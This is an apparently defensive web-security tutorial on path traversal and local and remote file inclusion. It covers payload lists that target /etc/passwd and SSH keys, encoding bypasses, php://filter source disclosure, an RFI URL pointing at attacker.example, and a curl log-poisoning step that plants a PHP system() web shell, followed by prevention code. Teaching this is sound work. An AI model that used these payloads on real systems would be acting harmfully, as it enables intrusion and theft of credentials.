File Inclusion and Path Traversal
File inclusion and path traversal vulnerabilities happen when an application uses user-controlled input to decide which file to read, include, render, or download. A small path-handling mistake can expose source code, configuration files, credentials, logs, or in some cases lead to remote code execution.
What You'll Learn
- How path traversal differs from file inclusion
- How Local File Inclusion (LFI) and Remote File Inclusion (RFI) work
- Common payload patterns and bypasses
- How attackers chain LFI into code execution
- How to test safely during authorised assessments
- How to prevent these bugs in modern applications
The Core Problem
Applications often need to load files:
- Downloading invoices or reports
- Rendering templates
- Loading language files
- Serving images
- Including page fragments
The risk appears when the file name or path comes directly from the request.
<?php
$page = $_GET['page'];
include("/var/www/pages/" . $page . ".php");
?>
Normal use:
https://example.com/index.php?page=home
Attack:
https://example.com/index.php?page=../../../../etc/passwd
The application intended to load home.php. The attacker tries to walk out of the expected directory and read a system file instead.
Path Traversal
Path traversal, also called directory traversal, is the act of escaping the intended directory using sequences such as ../ or encoded variants.
Common payloads:
../../../../etc/passwd
..\..\..\..\windows\win.ini
....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2fetc%2fpasswd
Typical Linux targets:
/etc/passwd
/etc/hosts
/proc/self/environ
/var/www/html/config.php
/var/log/apache2/access.log
/home/user/.ssh/id_rsa
Typical Windows targets:
C:\Windows\win.ini
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\
Local File Inclusion
Local File Inclusion happens when the application includes a file from the local server based on user input.
<?php
include($_GET['template']);
?>
An attacker may be able to include:
../../../../etc/passwd
php://filter/convert.base64-encode/resource=index.php
../../../../var/log/apache2/access.log
LFI impact depends on context. Reading /etc/passwd is information disclosure. Reading application source can expose credentials. Including a poisoned log file or session file can become code execution in some stacks.
Remote File Inclusion
Remote File Inclusion happens when the application allows a remote URL to be included.
https://example.com/index.php?page=https://attacker.example/shell.txt
RFI is most associated with older PHP applications where allow_url_include is enabled. Many modern configurations disable this, but it still appears in legacy systems and poorly controlled hosting environments.
Prevention starts with configuration:
allow_url_include = Off
Disable allow_url_fopen too if the application does not need URL-aware file operations.
Bypass Techniques
URL Encoding
../ -> %2e%2e%2f
..\ -> %2e%2e%5c
../../ -> %2e%2e%2f%2e%2e%2f
Double Encoding
../ -> %252e%252e%252f
This can bypass weak filters that decode input after validation.
Mixed Separators
..\
../
..%5c
..%2f
Windows and some frameworks accept multiple separator styles.
PHP Filters
The php://filter wrapper can expose source code as base64 instead of executing it.
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=../config.php
Null Bytes
Null byte bypasses such as %00 affected older PHP versions. Treat them as legacy knowledge. They are still useful when reading old write-ups, but they should not be expected to work on supported PHP versions.
LFI to Code Execution
LFI becomes more serious when the attacker can control content in a local file and then include it.
Common chains:
- Web log poisoning
- SSH authentication log poisoning
- Mail log poisoning
- Session file inclusion
- Uploaded file inclusion
- Temporary file inclusion
Example concept:
# Put a payload into the web access log via the User-Agent header
curl -A "<?php system(\$_GET['cmd']); ?>" https://example.com/
# Include the log through the vulnerable parameter
https://example.com/view.php?page=../../../../var/log/apache2/access.log&cmd=id
Only test chains like this in a lab or explicitly authorised assessment. They can modify logs and trigger security monitoring.
Manual Testing Checklist
Start with safe read-only checks:
?file=../../../../etc/passwd
?file=..\..\..\..\windows\win.ini
?page=php://filter/convert.base64-encode/resource=index.php
?download=../../../../var/www/html/config.php
Then vary:
- Traversal depth
- Slash direction
- URL encoding
- Double encoding
- File extensions
- Absolute paths
- Known framework paths
Document:
- The vulnerable parameter
- The payload used
- The file reached
- The impact
- Whether authentication was required
- Whether the issue is read-only or executable
Prevention
Use Identifiers, Not Paths
Do not let the user submit file paths. Map known identifiers to known files.
<?php
$pages = [
'home' => '/var/www/pages/home.php',
'about' => '/var/www/pages/about.php',
'contact' => '/var/www/pages/contact.php',
];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $pages)) {
http_response_code(404);
exit;
}
include $pages[$page];
?>
Resolve and Enforce a Base Directory
<?php
$base = realpath('/var/www/downloads');
$name = basename($_GET['file'] ?? '');
$path = realpath($base . DIRECTORY_SEPARATOR . $name);
if ($path === false || strncmp($path, $base, strlen($base)) !== 0) {
http_response_code(403);
exit;
}
readfile($path);
?>
Avoid Dynamic Includes
Use framework routing, template loaders, and storage APIs instead of building file paths by hand.
Lock Down Runtime Configuration
allow_url_include = Off
open_basedir = /var/www/app:/var/www/downloads
Use open_basedir as defence-in-depth, not as the only protection.
Protect Sensitive Files
- Keep secrets outside the web root
- Store uploaded files outside executable directories
- Disable directory listing
- Prevent direct web access to logs, backups, and configuration files
- Use least-privilege file permissions for the web server user
Quick Reference
Linux read test:
../../../../etc/passwd
Windows read test:
..\..\..\..\windows\win.ini
PHP source disclosure:
php://filter/convert.base64-encode/resource=index.php
Encoding:
%2e%2e%2f
%252e%252e%252f
Defence:
Use allowlists, map IDs to files, resolve real paths, enforce a base directory.
Resources
- PortSwigger Path Traversal Labs: https://portswigger.net/web-security/file-path-traversal
- OWASP WSTG: Testing for Path Traversal: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/11-Testing_for_File_Inclusion
- Path Traversal Research: https://justappsec.com/research/path-traversal
- Secure File Handling Training: https://justappsec.com/training/secure-file-handling
Next Steps
- Practise read-only traversal in legal labs
- Learn PHP wrappers and why they matter
- Review file download and template-loading code in your own apps
- Fix file handling with allowlists and real path checks
- Add regression tests for blocked traversal payloads
The safest file path is the one the user never controls directly.